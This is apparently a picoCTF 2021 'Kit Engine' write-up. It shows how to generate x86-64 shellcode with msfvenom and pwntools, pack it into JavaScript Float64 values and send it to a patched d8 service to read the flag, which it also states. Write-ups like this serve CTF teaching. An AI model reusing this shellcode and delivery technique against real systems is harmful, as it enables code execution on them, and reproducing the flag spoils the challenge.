Kit Engine picoCTF 2021 Solution

Description

1. Step 1Understand the patch: assembleEngine()

   Observation

   The description says d8 was patched with a new function. Reading that patch to understand assembleEngine() comes before writing any exploit.

   The patch adds a JavaScript function called assembleEngine() that accepts an array of JavaScript doubles (64-bit floats), interprets their bytes as machine code, and executes them. Each element in the array is a Float64 whose 8 raw bytes are the next 8 bytes of shellcode.

   Learn more

   How assembleEngine works: It maps a page of memory as executable, converts each Float64 to its 8-byte IEEE-754 representation, copies those bytes sequentially, then calls the resulting buffer as a function. You provide raw shellcode packed into doubles.

   The key insight is that you don't need to exploit any V8 vulnerability. The patch directly provides a way to execute arbitrary machine code via a JavaScript API call.

2. Step 2Generate shellcode for cat flag.txt

   Observation

   assembleEngine() executes raw bytes as x86-64 machine code. The remote service has no interactive terminal, so the shellcode needs to run 'cat flag.txt' directly rather than spawn a shell.

   Use msfvenom (Metasploit Framework) or pwntools shellcraft to generate x86-64 Linux shellcode that executes 'cat flag.txt'. Pad to a multiple of 8 bytes with nop (0x90) instructions.

   bash

   # Using Metasploit Framework in Docker:

   Copied!

   bash

   docker pull phocean/msf

   Copied!

   bash

   docker run --rm -it phocean/msf msfvenom -p linux/x64/exec CMD='cat flag.txt' -f c

   Copied!

   bash

   Copied!

   bash

   # Using pwntools shellcraft:

   Copied!

   python

   python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.cat('flag.txt')).hex())"

   Copied!

   Expected output

   picoCTF{vr00m_vr00m}

   What didn't work first

   Tried: Generating 32-bit (x86) shellcode with msfvenom -p linux/x86/exec instead of linux/x64/exec

   The d8 binary and the patched assembleEngine() are 64-bit, so 32-bit shellcode runs in the wrong register width and immediately faults with SIGILL or SIGSEGV. The architecture flag must be linux/x64/exec (or pwntools context.arch='amd64') to produce valid x86-64 instructions.

   Tried: Using shellcraft.sh() to get a /bin/sh shell instead of shellcraft targeting cat flag.txt

   shellcraft.sh() opens an interactive /bin/sh, but the remote service reads in a batch send-and-receive flow with no terminal attached. The shell spawns, waits for input that never arrives, and the connection times out. Use shellcode that execve's /bin/cat on flag.txt directly, so the output comes back in the single recvall().

   Learn more

   The shellcode needs to be padded to a length that is a multiple of 8 bytes so it divides evenly into Float64 values. Add 0x90 (nop) bytes at the end to reach the next multiple of 8. For a 54-byte shellcode payload, add 2 nops to reach 56 bytes (7 doubles).

3. Step 3Pack shellcode into Float64 values

   Observation

   assembleEngine() takes a JavaScript array of Float64 doubles and reinterprets their raw bytes as machine code. Python's struct.unpack('<d', ...) repackages the shellcode 8 bytes at a time into little-endian IEEE-754 doubles without disturbing the order.

   Convert the padded shellcode bytes into an array of JavaScript doubles using SharedArrayBuffer/DataView to reinterpret 8 bytes at a time as a Float64. Pass the array to assembleEngine().

   python

   # Python script to build the JS exploit file:
   python3 << 'EOF'
   import struct
   
   # Your shellcode (padded to multiple of 8 bytes)
   shellcode = (
       b"\x48\xb8\x2f\x62\x69\x6e\x2f\x63\x61\x74"
       # ... (full cat flag.txt shellcode from msfvenom or pwntools)
   )
   # Pad to multiple of 8
   while len(shellcode) % 8 != 0:
       shellcode += b"\x90"
   
   doubles = []
   for i in range(0, len(shellcode), 8):
       chunk = shellcode[i:i+8]
       val = struct.unpack("<d", chunk)[0]
       doubles.append(repr(val))
   
   js = f"""
   let payload = [{', '.join(doubles)}];
   assembleEngine(payload);
   """
   print(js)
   print(f"// Script length: {len(js)} bytes")
   EOF

   Copied!

   What didn't work first

   Tried: Packing shellcode bytes using big-endian format with struct.unpack('>d', chunk) instead of '<d'

   Big-endian packing reverses the byte order inside each 8-byte chunk, so assembleEngine() writes them back in the wrong sequence and executes garbage. x86-64 is little-endian, and struct.unpack('<d', ...) preserves the original order when the double reaches the executable buffer.

   Tried: Skipping the padding step and calling assembleEngine() with a payload array whose last chunk is fewer than 8 bytes

   struct.unpack('<d', chunk) needs exactly 8 bytes and raises struct.error on anything shorter. Even patched around, the final double would carry undefined padding that could corrupt the last instruction. Pad to a multiple of 8 with 0x90 nop bytes: the struct call succeeds and the CPU slides harmlessly through the trailing nops.

   Learn more

   struct.unpack("<d", chunk) reinterprets 8 raw bytes as a little-endian IEEE-754 double. When JavaScript reads this double back out and writes it to memory, it recovers the original bytes. This is not any kind of encryption or encoding; it is a direct memory reinterpretation.

4. Step 4Send the exploit to the server

   Observation

   The service protocol wants the JavaScript file's byte length declared before the file itself. pwntools measures and sends it precisely, so d8 receives exactly the declared number of bytes.

   Save the JavaScript exploit to a file, measure its length, and send it to the remote service which will run it through the patched d8.

   python

   python3 build_exploit.py > exploit.js

   Copied!

   bash

   wc -c exploit.js

   Copied!

   python

   # Then connect and paste the length followed by the script:
   python3 << 'EOF'
   from pwn import *
   
   io = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>)
   script = open("exploit.js", "rb").read()
   io.sendlineafter(b"size:", str(len(script)).encode())
   io.send(script)
   print(io.recvall(timeout=5).decode())
   EOF

   Copied!

   What didn't work first

   Tried: Sending the byte count of the Python-generated output before it is written to a file, then feeding a stale or mismatched exploit.js

   If you run 'python3 build_exploit.py | wc -c' separately from 'python3 build_exploit.py > exploit.js', the two invocations may differ by trailing newline handling and produce different byte counts. The service reads exactly the declared number of bytes, so an off-by-one leaves the last character unread or causes d8 to receive a truncated script that fails to parse. Always use 'wc -c exploit.js' after writing the file to get the length of the exact bytes you will send.

   Tried: Using io.sendline() instead of io.send() to deliver the JavaScript payload

   sendline() appends a newline byte to the payload, making the byte count sent one more than the declared size. The service's read loop consumes the declared number of bytes, so d8 receives the full script plus the extra newline gets left in the buffer and can corrupt the next protocol exchange. Use io.send(script) with no trailing newline to send exactly len(script) bytes.

Flag

The patch adds assembleEngine() which executes an array of Float64 values as machine code. Pack your shellcode into doubles and call assembleEngine() to get RCE.